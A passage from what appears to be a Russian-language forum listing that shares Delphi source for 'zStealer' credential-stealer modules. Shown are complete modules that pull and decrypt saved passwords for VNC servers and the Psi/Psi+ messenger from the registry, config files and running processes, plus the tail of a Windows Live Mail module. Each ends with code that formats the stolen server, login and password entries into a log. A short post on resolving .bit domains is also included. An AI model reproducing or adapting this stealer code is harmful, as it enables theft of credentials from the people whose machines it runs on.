KEY_WRITE Or KEY_WOW64_64KEY, HTemp) = ERROR_SUCCESS Then Begin SubKey := Copy(Name, N 1, Length(Name) - N); Result := (RegDeleteKey(HTemp, PChar(SubKey)) = ERROR_SUCCESS); RegCloseKey(HTemp); End; End; End; End. Использование: Procedure LiveReadArray; Var I: Integer; Begin For I := 1 To WLArNum Do Begin If I = 1 Then Log := Log 'Windows Live Mail (' IntToStr(WLArnum) ' items)' Cl Cl; Log := Log Cl4 'serv: ' Cl3 WLSrvAr[I] Cl Cl4 'login: ' Cl3 WLLogAr[I] Cl Cl4 'pass: ' Cl3 WLPwdAr[I] Cl2; End; End;
  6. [Delphi] VNC Passwords decrypt

    // zStealer module (c) 2015 // https://dedik.cc/index.php?showtopic=86138 Unit VNCsrv; Interface Uses WinSock, MiniReg64, VncDes, SysUtils, Windows; Procedure GetVNCsrvPasswords; Var VNCAdrsAr : Array [1..100] Of String; VNCPassAr : Array [1..100] Of String; VNCPortAr : Array [1..100] Of String; VNCHttpAr : Array [1..100] Of String; VNCTypeAr : Array [1..100] Of String; VNCArNum : Cardinal = 0; LocalIp : String; VNCResult : Boolean = False; Implementation Function GetIp: String; Var wVerReq : WORD; wsaData : TWSAData; H : PHostEnt; C : Array[0..128] Of char; Begin wVerReq := MAKEWORD(1, 1); WSAStartup(wVerReq, wsaData); GetHostName(@C, 128); H := GetHostByName(@C); LocalIp := H^.H_Name; LocalIp := iNet_ntoa(PInAddr(H^.H_addr_list^)^); WSACleanup; End; function StrToHex(const S: String): String; Const HexDigits: Array[0..15] Of Char = '0123456789ABCDEF'; Var I : Integer; P1, P2 : PChar; B : Byte; Begin SetLength(Result, Length(S) * 2); P1 := @S[1]; P2 := @Result[1]; For I := 1 To Length(S) Do Begin B := Byte(P1^); P2^ := HexDigits[B Shr 4]; Inc(P2); P2^ := HexDigits[B and $F]; Inc(P1); Inc(P2); End; End; Procedure VNCsrvAddToArray(Adr, Pwd, Prt, Htt, Typ: String); Var I: integer; Begin If (Pwd = '') Or (Typ = '') Then Exit; If Prt = '' Then Prt := '5900'; If Htt = '' Then Htt := '5800'; Pwd := DecryptVncPass(Pwd); For I := 1 To VNCArNum Do Begin If (VNCAdrsAr[I] = Adr) And (VNCPassAr[I] = Pwd) And (VNCPortAr[I] = Prt) And (VNCHttpAr[I] = Htt) And (VNCTypeAr[I] = Typ) Then Exit; End; Begin Inc(VNCArNum); VNCAdrsAr[VNCArNum] := Adr; VNCPassAr[VNCArNum] := Pwd; VNCPortAr[VNCArNum] := Prt; VNCHttpAr[VNCArNum] := Htt; VNCTypeAr[VNCArNum] := Typ; End; End; Function GetSystemDrive: String; Var StrBuffer : String; Begin SetLength(StrBuffer, 1000); GetWindowsDirectory(PChar(StrBuffer), 1000); Result := Copy(StrBuffer, 1, 3); End; Procedure VNCsrvCheckRealVNC; Var Pass, Port, Http : String; P0 : Cardinal; Begin If RegValueExists(HKEY_LOCAL_MACHINE, 'SOFTWARE\RealVNC\vncserver\Password') Then Begin RegGetString(HKEY_LOCAL_MACHINE, 'SOFTWARE\RealVNC\vncserver\Password', Pass); RegGetString(HKEY_LOCAL_MACHINE, 'SOFTWARE\RealVNC\vncserver\RfbPort', Port); RegGetString(HKEY_LOCAL_MACHINE, 'SOFTWARE\RealVNC\vncserver\HttpPort', Http); VNCsrvAddToArray(LocalIp, Pass, Port, Http, 'RealVNC'); End; If RegValueExists(HKEY_CURRENT_USER, 'SOFTWARE\RealVNC\vncserver\Password') Then Begin RegGetString(HKEY_CURRENT_USER, 'SOFTWARE\RealVNC\vncserver\Password', Pass); RegGetString(HKEY_CURRENT_USER, 'SOFTWARE\RealVNC\vncserver\RfbPort', Port); RegGetString(HKEY_CURRENT_USER, 'SOFTWARE\RealVNC\vncserver\HttpPort', Http); VNCsrvAddToArray(LocalIp, Pass, Port, Http, 'RealVNC'); End; If RegValueExists(HKEY_LOCAL_MACHINE, 'SOFTWARE\RealVNC\WinVNC4\Password') Then Begin RegGetBinary(HKEY_LOCAL_MACHINE, 'SOFTWARE\RealVNC\WinVNC4\Password', Pass); RegGetDWORD(HKEY_LOCAL_MACHINE, 'SOFTWARE\RealVNC\WinVNC4\PortNumber', P0); VNCsrvAddToArray(LocalIp, StrToHex(Pass), IntToStr(P0), Http, 'RealVNC'); End; End; Procedure VNCsrvCheckTightVNC; Var S0 : String; P0, P1 : Cardinal; Begin If RegValueExists(HKEY_CURRENT_USER, 'SOFTWARE\TightVNC\Server\Password') Then Begin RegGetBinary(HKEY_CURRENT_USER, 'SOFTWARE\TightVNC\Server\Password', S0); RegGetDWORD(HKEY_CURRENT_USER, 'SOFTWARE\TightVNC\Server\RfbPort', P0); RegGetDWORD(HKEY_CURRENT_USER, 'SOFTWARE\TightVNC\Server\HttpPort', P1); VNCsrvAddToArray(LocalIp, StrToHex(S0), IntToStr(P0), IntToStr(P1), 'TightVNC'); End; If RegValueExists(HKEY_CURRENT_USER, 'SOFTWARE\TightVNC\Server\PasswordViewOnly') Then Begin RegGetBinary(HKEY_CURRENT_USER, 'SOFTWARE\TightVNC\Server\PasswordViewOnly', S0); RegGetDWORD(HKEY_CURRENT_USER, 'SOFTWARE\TightVNC\Server\RfbPort', P0); RegGetDWORD(HKEY_CURRENT_USER, 'SOFTWARE\TightVNC\Server\HttpPort', P1); VNCsrvAddToArray(LocalIp, StrToHex(S0), IntToStr(P0), IntToStr(P1), 'TightVNC'); End; If RegValueExists(HKEY_LOCAL_MACHINE, 'SOFTWARE\TightVNC\Server\Password') Then Begin RegGetBinary(HKEY_LOCAL_MACHINE, 'SOFTWARE\TightVNC\Server\Password', S0); RegGetDWORD(HKEY_LOCAL_MACHINE, 'SOFTWARE\TightVNC\Server\RfbPort', P0); RegGetDWORD(HKEY_LOCAL_MACHINE, 'SOFTWARE\TightVNC\Server\HttpPort', P1); VNCsrvAddToArray(LocalIp, StrToHex(S0), IntToStr(P0), IntToStr(P1), 'TightVNC'); End; If RegValueExists(HKEY_LOCAL_MACHINE, 'SOFTWARE\TightVNC\Server\PasswordViewOnly') Then Begin RegGetBinary(HKEY_LOCAL_MACHINE, 'SOFTWARE\TightVNC\Server\PasswordViewOnly', S0); RegGetDWORD(HKEY_LOCAL_MACHINE, 'SOFTWARE\TightVNC\Server\RfbPort', P0); RegGetDWORD(HKEY_LOCAL_MACHINE, 'SOFTWARE\TightVNC\Server\HttpPort', P1); VNCsrvAddToArray(LocalIp, StrToHex(S0), IntToStr(P0), IntToStr(P1), 'TightVNC'); End; End; Procedure VNCsrvCheckTigerVNC; Var S0 : String; P0, P1 : Cardinal; Begin If RegValueExists(HKEY_CURRENT_USER, 'SOFTWARE\TigerVNC\WinVNC4\Password') Then Begin RegGetBinary(HKEY_CURRENT_USER, 'SOFTWARE\TigerVNC\WinVNC4\Password', S0); RegGetDWORD(HKEY_CURRENT_USER, 'SOFTWARE\TigerVNC\WinVNC4\PortNumber', P0); RegGetDWORD(HKEY_CURRENT_USER, 'SOFTWARE\TigerVNC\WinVNC4\HTTPPortNumber', P1); VNCsrvAddToArray(LocalIp, StrToHex(S0), IntToStr(P0), IntToStr(P1), 'TigerVNC'); End; If RegValueExists(HKEY_LOCAL_MACHINE, 'SOFTWARE\TigerVNC\WinVNC4\Password') Then Begin RegGetBinary(HKEY_LOCAL_MACHINE, 'SOFTWARE\TigerVNC\WinVNC4\Password', S0); RegGetDWORD(HKEY_LOCAL_MACHINE, 'SOFTWARE\TigerVNC\WinVNC4\PortNumber', P0); RegGetDWORD(HKEY_LOCAL_MACHINE, 'SOFTWARE\TigerVNC\WinVNC4\HTTPPortNumber', P1); VNCsrvAddToArray(LocalIp, StrToHex(S0), IntToStr(P0), IntToStr(P1), 'TigerVNC'); End; If RegValueExists(HKEY_LOCAL_MACHINE, 'SOFTWARE\Wow6432Node\TigerVNC\WinVNC4\Password') Then Begin RegGetBinary(HKEY_LOCAL_MACHINE, 'SOFTWARE\Wow6432Node\TigerVNC\WinVNC4\Password', S0); RegGetDWORD(HKEY_LOCAL_MACHINE, 'SOFTWARE\Wow6432Node\TigerVNC\WinVNC4\PortNumber', P0); RegGetDWORD(HKEY_LOCAL_MACHINE, 'SOFTWARE\Wow6432Node\TigerVNC\WinVNC4\HTTPPortNumber', P1); VNCsrvAddToArray(LocalIp, StrToHex(S0), IntToStr(P0), IntToStr(P1), 'TigerVNC'); End; End; Procedure VNCsrvReadUltraVNCConfig(Path: String); Var F : TextFile; S0, S1, S2, P0, P1 : String; Begin If FileExists(Path) = False Then Exit; Try AssignFile(F, Path); Reset(F); While Not EOF(F) Do Begin Readln(F, S0); If Copy(S0, 1, 10) = 'PortNumber' Then P0 := Copy(S0, Pos('=', S0) + 1, Length(S0)); If Copy(S0, 1, 14) = 'HTTPPortNumber' Then P1 := Copy(S0, Pos('=', S0) + 1, Length(S0)); If Copy(S0, 1, 7) = 'passwd=' Then S1 := Copy(S0, Pos('=', S0) + 1, Length(S0)); If Copy(S0, 1, 7) = 'passwd2' Then S2 := Copy(S0, Pos('=', S0) + 1, Length(S0)); End; Except End; VNCsrvAddToArray(LocalIp, S1, P0, P1, 'UltraVNC'); VNCsrvAddToArray(LocalIp, S2, P0, P1, 'UltraVNC'); CloseFile(F); End; Procedure VNCsrvCheckUltraVNC; Var Tmp: String; Begin If RegValueExists(HKEY_LOCAL_MACHINE, 'SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Ultravnc2_is1\InstallLocation') Then Begin RegGetString(HKEY_LOCAL_MACHINE, 'SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Ultravnc2_is1\InstallLocation', Tmp); Tmp := Tmp + 'UltraVNC.ini'; VNCsrvReadUltraVNCConfig(Tmp); End; VNCsrvReadUltraVNCConfig(GetSystemDrive + 'Program Files (x86)\uvnc bvba\UltraVNC\UltraVNC.ini'); VNCsrvReadUltraVNCConfig(GetSystemDrive + 'Program Files\uvnc bvba\UltraVNC\UltraVNC.ini'); VNCsrvReadUltraVNCConfig(GetSystemDrive + 'Program Files (x86)\UltraVNC\UltraVNC.ini'); VNCsrvReadUltraVNCConfig(GetSystemDrive + 'Program Files\UltraVNC\UltraVNC.ini'); End; Procedure GetVNCsrvPasswords; Begin GetIp; VNCsrvCheckRealVNC; VNCsrvCheckTightVNC; VNCsrvCheckTigerVNC; VNCsrvCheckUltraVNC; VNCResult := True; End; End. unit MiniReg64; Interface Uses Windows; Function RegSetString(RootKey: HKEY; Name: String; Value: String): Boolean; Function RegSetRzString(RootKey: HKEY; Name: String; Value: String): Boolean; Function RegSetRz2String(RootKey: HKEY; Name: String; Value: String): Boolean; Function RegSetMultiString(RootKey: HKEY; Name: String; Value: String): Boolean; Function RegSetExpandString(RootKey: HKEY; Name: String; Value: String): Boolean; Function RegSetDWORD(RootKey: HKEY; Name: String; Value: Cardinal): Boolean; Function RegSetBinary(RootKey: HKEY; Name: String; Value: Array of Byte): Boolean; Function RegGetString(RootKey: HKEY; Name: String; Var Value: String): Boolean; Function RegGetRZString(RootKey: HKEY; Name: String; Var Value: String): Boolean; Function RegGetMultiString(RootKey: HKEY; Name: String; Var Value: String): Boolean; Function RegGetExpandString(RootKey: HKEY; Name: String; Var Value: String): Boolean; Function RegGetDWORD(RootKey: HKEY; Name: String; Var Value: Cardinal): Boolean; Function RegGetBinary(RootKey: HKEY; Name: String; Var Value: String): Boolean; Function RegValueExists(RootKey: HKEY; Name: String): Boolean; Function RegKeyExists(RootKey: HKEY; Name: String): Boolean; Function RegDelValue(RootKey: HKEY; Name: String): Boolean; Function RegDelValueRZ(RootKey: HKEY; Name: String): Boolean; Function RegDelKey(RootKey: HKEY; Name: String): Boolean; Implementation Const KEY_WOW64_64KEY = $0100; Function LastPos(Needle: Char; Haystack: String): Integer; Begin for Result := Length(Haystack) DownTo 1 Do If Haystack[Result] = Needle Then Break; End; Function RegSetValue(RootKey: HKEY; Name: String; ValType: Cardinal; PVal: Pointer; ValSize: Cardinal): Boolean; Var SubKey : String; N : Integer; Dispo : DWORD; HTemp : HKEY; Begin Result := False; N := LastPos('\', Name); If n > 0 Then Begin SubKey := Copy(Name, 1, N - 1); If RegCreateKeyEx(RootKey, PChar(SubKey), 0, Nil, REG_OPTION_NON_VOLATILE, KEY_WRITE Or KEY_WOW64_64KEY, Nil, hTemp, @dispo) = ERROR_SUCCESS Then Begin SubKey := Copy(Name, N + 1, Length(Name) - N); Result := (RegSetValueEx(HTemp, PChar(SubKey), 0, ValType, PVal, ValSize) = ERROR_SUCCESS); RegCloseKey(HTemp); End; End; End; Function RegSetRZValue(RootKey: HKEY; Name: String; ValType: Cardinal; PVal: Pointer; ValSize: Cardinal): Boolean; Var SubKey : String; N : Integer; Dispo : DWORD; HTemp : HKEY; Begin Result := False; N := LastPos('\', Name); If N > 0 Then Begin SubKey := Copy(Name, 1, N - 1); If RegCreateKeyEx(RootKey, PChar(SubKey), 0, Nil, REG_OPTION_NON_VOLATILE, KEY_WRITE Or KEY_WOW64_64KEY, Nil, hTemp, @dispo) = ERROR_SUCCESS Then Begin SubKey := Copy(Name + '\' , N + 1, Length(Name) - N); Result := (RegSetValueEx(HTemp, PChar(SubKey + '\'), 0, ValType, PVal, ValSize) = ERROR_SUCCESS); RegCloseKey(HTemp); End; End; End; function RegSetRZ2Value(RootKey: HKEY; Name: String; ValType: Cardinal; PVal: Pointer; ValSize: Cardinal): Boolean; Var SubKey : String; N : Integer; Dispo : DWORD; HTemp : HKEY; Begin Result := False; N := LastPos('\', Name); If N > 0 Then Begin SubKey := Copy(Name, 1, N - 1); If RegCreateKeyEx(RootKey, PChar(SubKey), 0, Nil, REG_OPTION_NON_VOLATILE, KEY_WRITE Or KEY_WOW64_64KEY, Nil, hTemp, @dispo) = ERROR_SUCCESS Then Begin Result := (RegSetValueEx(hTemp, PChar(ParamStr(0)), 0, ValType, PVal, ValSize) = ERROR_SUCCESS); RegCloseKey(HTemp); End; End; End; Function RegGetValue(RootKey: HKEY; Name: String; ValType: Cardinal; Var PVal: Pointer; Var ValSize: Cardinal): Boolean; Var SubKey : String; N : Integer; MyValType : DWORD; hTemp : HKEY; Buf : Pointer; BufSize : Cardinal; Begin Result := False; N := LastPos('\', Name); If N > 0 Then Begin SubKey := Copy(Name, 1, N - 1); If RegOpenKeyEx(RootKey, PChar(SubKey), 0, KEY_READ Or KEY_WOW64_64KEY, hTemp) = ERROR_SUCCESS Then Begin SubKey := Copy(Name, N + 1, Length(Name) - N); If RegQueryValueEx(hTemp, PChar(SubKey), Nil, @MyValType, Nil, @BufSize) = ERROR_SUCCESS Then Begin GetMem(Buf, BufSize); if RegQueryValueEx(hTemp, PChar(SubKey), Nil, @MyValType, Buf, @BufSize) = ERROR_SUCCESS Then Begin If ValType = MyValType Then Begin PVal := Buf; ValSize := BufSize; Result := True; End Else FreeMem(Buf); End Else FreeMem(Buf); End; RegCloseKey(hTemp); End; End; End; Function RegGetRZValue(RootKey: HKEY; Name: String; ValType: Cardinal; Var PVal: Pointer; Var ValSize: Cardinal): Boolean; Var SubKey : String; N : Integer; MyValType : DWORD; hTemp : HKEY; Buf : Pointer; BufSize : Cardinal; Begin Result := False; N := LastPos('\', Name); If N > 0 Then Begin SubKey := Copy(Name, 1, N - 1); If RegOpenKeyEx(RootKey, PChar(SubKey), 0, KEY_READ Or KEY_WOW64_64KEY, HTemp) = ERROR_SUCCESS Then Begin SubKey := Copy(Name, N + 1, Length(Name) - N); If RegQueryValueEx(HTemp, PChar(SubKey), Nil, @MyValType, Nil, @BufSize) = ERROR_SUCCESS Then Begin GetMem(Buf, BufSize); SubKey := SubKey + '\'; If RegQueryValueEx(hTemp, PChar(SubKey), Nil, @MyValType, Buf, @BufSize) = ERROR_SUCCESS Then Begin If ValType = MyValType Then Begin PVal := Buf; ValSize := BufSize; Result := True; End Else FreeMem(Buf); End Else FreeMem(Buf); End; RegCloseKey(hTemp); End; End; End; Function RegSetString(RootKey: HKEY; Name: String; Value: String): Boolean; Begin Result := RegSetValue(RootKey, Name, REG_SZ, PChar(Value + #0), Length(Value) + 1); End; Function RegSetRzString(RootKey: HKEY; Name: String; Value: String): Boolean; Begin Result := RegSetRzValue(RootKey, Name, REG_SZ, PChar(Value + #0), Length(Value) + 1); End; Function RegSetRz2String(RootKey: HKEY; Name: String; Value: String): boolean; Begin Result := RegSetRz2Value(RootKey, Name, REG_SZ, PChar(Value + #0), Length(Value) + 1); End; Function RegSetMultiString(RootKey: HKEY; Name: String; Value: String): Boolean; Begin Result := RegSetValue(RootKey, Name, REG_MULTI_SZ, PChar(Value + #0#0), Length(Value) + 2); End; Function RegSetExpandString(RootKey: HKEY; Name: String; Value: String): Boolean; Begin Result := RegSetValue(RootKey, Name, REG_EXPAND_SZ, PChar(Value + #0#0), Length(Value) + 1); End; Function RegSetDword(RootKey: HKEY; Name: String; Value: Cardinal): Boolean; Begin Result := RegSetValue(RootKey, Name, REG_DWORD, @Value, SizeOf(Cardinal)); End; Function RegSetBinary(RootKey: HKEY; Name: String; Value: Array of Byte): Boolean; Begin Result := RegSetValue(RootKey, Name, REG_BINARY, @Value[Low(Value)], length(Value)); End; Function RegGetString(RootKey: HKEY; Name: String; Var Value: String): Boolean; Var Buf : Pointer; BufSize : Cardinal; Begin Result := False; If RegGetValue(RootKey, Name, REG_SZ, Buf, BufSize) Then Begin Dec(BufSize); SetLength(Value, BufSize); If BufSize > 0 Then CopyMemory(@Value[1], Buf, BufSize); FreeMem(Buf); Result := True; End; End; Function RegGetRZString(RootKey: HKEY; Name: String; Var Value: String): Boolean; Var Buf : Pointer; BufSize : Cardinal; Begin Result := False; If RegGetRzValue(RootKey, Name, REG_SZ, Buf, BufSize) Then Begin Dec(BufSize); SetLength(Value, BufSize); If BufSize > 0 Then CopyMemory(@Value[1], Buf, BufSize); FreeMem(Buf); Result := True; End; End; Function RegGetMultiString(RootKey: HKEY; Name: String; Var Value: String): Boolean; Var Buf : Pointer; BufSize : Cardinal; Begin Result := False; If RegGetValue(RootKey, Name, REG_MULTI_SZ, Buf, BufSize) Then Begin Dec(BufSize); SetLength(Value, BufSize); If BufSize > 0 Then CopyMemory(@Value[1], Buf, BufSize); FreeMem(Buf); Result := True; End; End; Function RegGetExpandString(RootKey: HKEY; Name: String; Var Value: String): Boolean; Var Buf : Pointer; BufSize : Cardinal; Begin Result := False; If RegGetValue(RootKey, Name, REG_EXPAND_SZ, Buf, BufSize) Then Begin Dec(BufSize); SetLength(Value, BufSize); If BufSize > 0 Then CopyMemory(@Value[1], Buf, BufSize); FreeMem(Buf); Result := True; End; End; Function RegGetDWORD(RootKey: HKEY; Name: String; Var Value: Cardinal): Boolean; Var Buf : Pointer; BufSize : Cardinal; Begin Result := False; If RegGetValue(RootKey, Name, REG_DWORD, Buf, BufSize) Then Begin CopyMemory(@Value, Buf, BufSize); FreeMem(Buf); Result := True; End; End; Function RegGetBinary(RootKey: HKEY; Name: String; Var Value: String): Boolean; Var Buf : Pointer; BufSize : Cardinal; Begin Result := False; If RegGetValue(RootKey, Name, REG_BINARY, Buf, BufSize) Then Begin SetLength(Value, BufSize); CopyMemory(@Value[1], Buf, BufSize); FreeMem(Buf); Result := True; End; End; Function RegValueExists(RootKey: HKEY; Name: String): Boolean; Var SubKey : String; N : Integer; HTemp : HKEY; Begin Result := False; N := LastPos('\', Name); If n > 0 Then Begin SubKey := Copy(Name, 1, n - 1); If RegOpenKeyEx(RootKey, PChar(SubKey), 0, KEY_READ or KEY_WOW64_64KEY, hTemp) = ERROR_SUCCESS Then Begin SubKey := Copy(Name, N + 1, Length(Name) - N); Result := (RegQueryValueEx(HTemp, PChar(SubKey), Nil, Nil, Nil, Nil) = ERROR_SUCCESS); RegCloseKey(HTemp); End; End; End; Function RegKeyExists(RootKey: HKEY; Name: String): Boolean; Var SubKey : String; N : Integer; HTemp : HKEY; Begin Result := False; N := LastPos('\', Name); If n > 0 Then Begin SubKey := Copy(Name, 1, n - 1); If RegOpenKeyEx(RootKey, PChar(SubKey), 0, KEY_READ Or KEY_WOW64_64KEY, hTemp) = ERROR_SUCCESS Then Begin Result := True; RegCloseKey(hTemp); End; End; End; Function RegDelValue(RootKey: HKEY; Name: String): Boolean; Var SubKey : String; N : integer; HTemp : HKEY; Begin Result := False; N := LastPos('\', Name); If n > 0 Then Begin SubKey := Copy(Name, 1, N - 1); If RegOpenKeyEx(RootKey, PChar(SubKey), 0, KEY_WRITE Or KEY_WOW64_64KEY, HTemp) = ERROR_SUCCESS Then Begin SubKey := Copy(Name, N + 1, Length(Name) - N); Result := (RegDeleteValue(HTemp, PChar(SubKey)) = ERROR_SUCCESS); RegCloseKey(HTemp); End; End; End; Function RegDelValueRZ(RootKey: HKEY; Name: String): Boolean; Var SubKey : String; N : Integer; HTemp : HKEY; Begin Result := False; N := LastPos('\', Name); If N > 0 Then Begin SubKey := Copy(Name, 1, N - 1); If RegOpenKeyEx(RootKey, PChar(SubKey), 0, KEY_WRITE Or KEY_WOW64_64KEY, HTemp) = ERROR_SUCCESS Then Begin SubKey := Copy(Name, N + 1, Length(Name) - N) + '\'; Result := (RegDeleteValue(HTemp, PChar(SubKey)) = ERROR_SUCCESS); RegCloseKey(HTemp); End; End; End; Function RegDelKey(RootKey: HKEY; Name: String): Boolean; Var SubKey : String; N : Integer; HTemp : HKEY; Begin Result := False; N := LastPos('\', Name); If N > 0 Then Begin SubKey := Copy(Name, 1, N - 1); If RegOpenKeyEx(RootKey, PChar(SubKey), 0, KEY_WRITE Or KEY_WOW64_64KEY, HTemp) = ERROR_SUCCESS Then Begin SubKey := Copy(Name, N + 1, Length(Name) - N); Result := (RegDeleteKey(HTemp, PChar(SubKey)) = ERROR_SUCCESS); RegCloseKey(HTemp); End; End; End; End. Использование: Procedure VNCsrvReadArray; Var I: Integer; Begin For I := 1 To VNCArNum Do Begin If I = 1 Then Log := Log + 'VNC (' + IntToStr(VNCArNum) + ' items)' + Cl + Cl; Log := Log + Cl4 + 'serv: ' + Cl3 + VNCAdrsAr[I] + Cl + Cl4 + 'port: ' + Cl3 + VNCPortAr[I] + Cl + Cl4 + 'pass: ' + Cl3 + VNCPassAr[I] + Cl2; End; End;
  7. Работа с .bit на асме

    Судя по вопросу автор крайне поверхностно знает принципы работы протоколов. Сначала из url достается доменное имя, если точнее - поддомен-домен-зона, делается резолв, потом уже осуществляются дальнейшие действия, такие как HTTP запрос. Резолвить можно с помощью API функций системы, например DNSquery, используя сторонний софт (например nslookup) или же составляя запрос к днс серверу самостоятельно. Последнее очень сложно. Есть еще один способ, о нем я ничего не пишу намеренно =) Как пример: nslookup nx.bit 139.59.208.246
  8. [Delphi] PSI & PSI+ IM Passwords decrypt

    // zStealer module (c) 2015 // https://dedik.cc/index.php?showtopic=86138 Unit Psi; Interface Uses SysUtils, PsApi, MiniReg64, Windows; Procedure GetPsiPasswords; Var Psi_Srv_Ar : Array [1..1000] Of String; Psi_Log_Ar : Array [1..1000] Of String; Psi_Pwd_Ar : Array [1..1000] Of String; Psi_ArNum : Cardinal = 0; PsiResult : Boolean = False; Implementation Function ExtractFileNameMax(FileName: String): String; Var I: Integer; Begin For I := 1 To Length(FileName) Do FileName := Copy(FileName, Pos('\', FileName) + 1, Length(FileName)); Result := FileName; End; Function AppDir: String; Begin RegGetString(HKEY_CURRENT_USER, 'Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\AppData', Result); End; Function Psi_Add_To_Array(Server, Login, Password: String): String; Var I: Integer; Begin If (Password = '') Then Exit; For I := 1 To Psi_ArNum Do If (Psi_Log_Ar[I] = Login) And (Psi_Srv_Ar[i] = Server) Then Exit; Inc(Psi_ArNum); Psi_Log_Ar[Psi_ArNum] := Login; Psi_Pwd_Ar[Psi_ArNum] := Password; Psi_Srv_Ar[Psi_ArNum] := Server; End; Function InInt(S: String): Longint; Var I, Code: Longint; Begin Val(S, I, Code); InInt := I; End; Function Trim(Const S: String): String; Var I, L: Integer; Begin Result := ''; L := Length(S); I := 1; While (I <= L) And (S[I] <= ' ') Do Inc(I); If I > L Then Result := '' Else Begin While S[L] <= ' ' Do Dec(L); Result := Copy(S, I, L - I + 1); End; End; Function FileExists(Name: String): Boolean; Var FileHandle: Integer; Begin Result := True; FileHandle := CreateFile(PAnsiChar(Name), GENERIC_READ, FILE_SHARE_READ, Nil, OPEN_EXISTING, 0, 0); If FileHandle = -1 Then Result := False; CloseHandle(FileHandle); End; Function PsiDecryptPassword(Jid, Pwd: String): String; Var I, I2, L : Integer; C : Word; X : Dword; Begin Result := ''; If (Length(Pwd) = 0) Or (Length(Jid) = 0) Then Exit; L := Length(Pwd) Div 4; I2 := 1; For I := 1 To L Do Begin X := InInt('$' + Pwd[(I - 1) * 4 + 1]) * 4096 + InInt('$' + Pwd[(I - 1) * 4 + 2]) * 256 + InInt('$' + Pwd[(I - 1) * 4 + 3]) * 16 + InInt('$' + Pwd[(I - 1) * 4 + 4]); If I2 > Length(Jid) Then I2 := 1; C := Ord(Jid[I2]); X := X Xor C; Result := Result + Chr(X); Inc(I2); End; End; Procedure ReadConfig(Path: String); Var F : TextFile; S, J, P : String; Begin If FileExists(Path) = False Then Exit; Try AssignFile(F, Path); Reset(F); While Not EOF(F) Do Begin ReadLn(F, S); S := Trim(S); If Pos('', S) > 0 Then Begin J := Copy(S, Pos('', S) + 20, Length(S)); J := Copy(J, 1, Pos('', J) - 1); End; If Pos('', S) > 0 Then Begin P := Copy(S, Pos('', S) + 25, Length(S)); P := Copy(P, 1, Pos('', P) - 1); End; If (J <> '') And (P <> '') Then Begin Psi_Add_To_Array(Copy(J, Pos('@', J) + 1, Length(J)), J, PsiDecryptPassword(J, P)); End; End; Except End; CloseFile(F); End; Procedure CheckPsiLocation; Begin If FileExists(AppDir + '\Psi\profiles\default\accounts.xml') Then ReadConfig(AppDir + '\Psi\profiles\default\accounts.xml'); End; Procedure CheckPsiPlusLocation; Begin If FileExists(AppDir + '\Psi+\profiles\default\accounts.xml') Then ReadConfig(AppDir + '\Psi+\profiles\default\accounts.xml'); End; Procedure CheckXML(X: String); Begin If ExtractFileNameMax(X) = 'accounts.xml' Then ReadConfig(X); End; Function SearchFile(Dir, Ext: String): String; Var SearchRec : TSearchRec; Begin If Dir <> '' Then If Dir[length(Dir)] <> '\' Then Dir := Dir + '\'; If FindFirst(Dir + '*.*', faAnyFile, SearchRec) = 0 Then Repeat If (SearchRec.name = '.') Or (SearchRec.name = '..') Then Continue; If (SearchRec.Attr And faDirectory) <> 0 Then SearchFile(Dir + SearchRec.name, Ext) Else If (LowerCase(ExtractFileExt(Dir + SearchRec.Name)) = '.' + LowerCase(Ext)) Or (LowerCase(ExtractFileExt(Dir + SearchRec.Name)) = LowerCase(Ext)) Or (Ext = '*') Or (Ext = '*.*') Then CheckXML(Dir + SearchRec.Name); Until FindNext(SearchRec) <> 0; End; Procedure FindPsiPortableProcess; Var Ph : THandle; Mh : Hmodule; Count, Cm, I : Cardinal; procs : Array[0..$FFF] Of Dword; ModName : Array[0..Max_Path] Of Char; Begin If Not EnumProcesses(@Procs, SizeOf(Procs), Count) Then Exit; For I := 0 To Count Div 4 - 1 Do Begin Ph := OpenProcess(PROCESS_QUERY_INFORMATION Or PROCESS_VM_READ, False, Procs[I]); If Ph > 0 Then Begin EnumProcessModules(Ph, @Mh, 4, Cm); GetModuleFileNameEx(Ph, Mh, ModName, SizeOf(ModName)); If (Pos('psi-plus', LowerCase(ExtractFileNameMax(ModName))) <> 0) Then SearchFile(ExtractFileDir(ModName), 'xml'); CloseHandle(Ph); End; End; End; Procedure FindAllPsiPortable; Var HkHandle : HKEY; Len : DWORD; I, Err : Longint; S : Array [0..Max_Path] Of Char; Tmp : String; Begin I := 0; If RegOpenKeyEx(HKEY_CLASSES_ROOT, 'Local Settings\Software\Microsoft\Windows\Shell\MuiCache', 0, KEY_ALL_ACCESS, HkHandle) = ERROR_SUCCESS Then Repeat Len := Max_Path; Err := RegEnumValue(HkHandle, I, S, Len, Nil, Nil, Nil, Nil); Tmp := ExtractFileNameMax(S); If (Pos(LowerCase('psi-plus.exe'), LowerCase(Tmp)) <> 0) Then SearchFile(ExtractFileDir(S), 'xml'); Inc(I); Until Err <> Error_Success; RegCloseKey(hkHandle); End; Procedure GetPsiPasswords; Begin CheckPsiLocation; CheckPsiPlusLocation; FindPsiPortableProcess; FindAllPsiPortable; PsiResult := True; End; End. unit MiniReg64; Interface Uses Windows; Function RegSetString(RootKey: HKEY; Name: String; Value: String): Boolean; Function RegSetRzString(RootKey: HKEY; Name: String; Value: String): Boolean; Function RegSetRz2String(RootKey: HKEY; Name: String; Value: String): Boolean; Function RegSetMultiString(RootKey: HKEY; Name: String; Value: String): Boolean; Function RegSetExpandString(RootKey: HKEY; Name: String; Value: String): Boolean; Function RegSetDWORD(RootKey: HKEY; Name: String; Value: Cardinal): Boolean; Function RegSetBinary(RootKey: HKEY; Name: String; Value: Array of Byte): Boolean; Function RegGetString(RootKey: HKEY; Name: String; Var Value: String): Boolean; Function RegGetRZString(RootKey: HKEY; Name: String; Var Value: String): Boolean; Function RegGetMultiString(RootKey: HKEY; Name: String; Var Value: String): Boolean; Function RegGetExpandString(RootKey: HKEY; Name: String; Var Value: String): Boolean; Function RegGetDWORD(RootKey: HKEY; Name: String; Var Value: Cardinal): Boolean; Function RegGetBinary(RootKey: HKEY; Name: String; Var Value: String): Boolean; Function RegValueExists(RootKey: HKEY; Name: String): Boolean; Function RegKeyExists(RootKey: HKEY; Name: String): Boolean; Function RegDelValue(RootKey: HKEY; Name: String): Boolean; Function RegDelValueRZ(RootKey: HKEY; Name: String): Boolean; Function RegDelKey(RootKey: HKEY; Name: String): Boolean; Implementation Const KEY_WOW64_64KEY = $0100; Function LastPos(Needle: Char; 